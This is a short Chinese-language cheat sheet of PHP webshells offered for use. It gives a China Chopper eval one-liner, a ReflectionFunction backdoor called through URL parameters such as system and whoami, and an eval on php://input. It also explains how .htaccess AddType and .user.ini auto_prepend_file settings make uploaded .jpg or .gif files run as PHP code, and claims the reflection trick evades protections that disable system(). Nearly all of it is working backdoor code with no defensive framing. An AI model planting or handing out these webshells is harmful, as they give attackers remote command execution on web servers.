一句话 and 大马

phpspy 菜刀一句话<?php@eval($_POST['cmd']);?>


反射后门

<?php

$func = new ReflectionFunction($_GET[m]);

echo $func->invokeArgs(array($_GET[c]));

?>

调用如x.php?m=system&c=whoami
后门也可绕过某些检测禁用system函数的防护系统

php:input

php://input是用来接收post数据(这里有php://input的介绍)

<?php

@eval(file_get_contents('php://input'))

?>

Post提交 system('whoami');

.htaccess(需webserver支持)

可以设置任意后缀也可以设置UTF7编码格式shell

AddTypeapplication/x-httpd-php .jpg

然后再传一个JPG结尾的shell,访问即可执行了

.user.ini(需fastcgi配合)

动态修改php.ini配置文件

User.ini

auto_prepend_file:指定在每个PHP页面执行前所要执行的代码

auto_prepend_file=demo.gif (每个页面都会加载demo.gif)



使用php://input (不需要上传额外的文件)(需要自行打开allow_url_include=on 默认为off)

缺点:不支持.user.ini修改allow_url_include (在PHP5时是PHP_INI_SYSTEM。 从PHP5.2.0起可用。)



http://php.net/manual/zh/ini.list.php

http://php.net/manual/zh/configuration.changes.modes.php


附件:http://down.51cto.com/data/2366063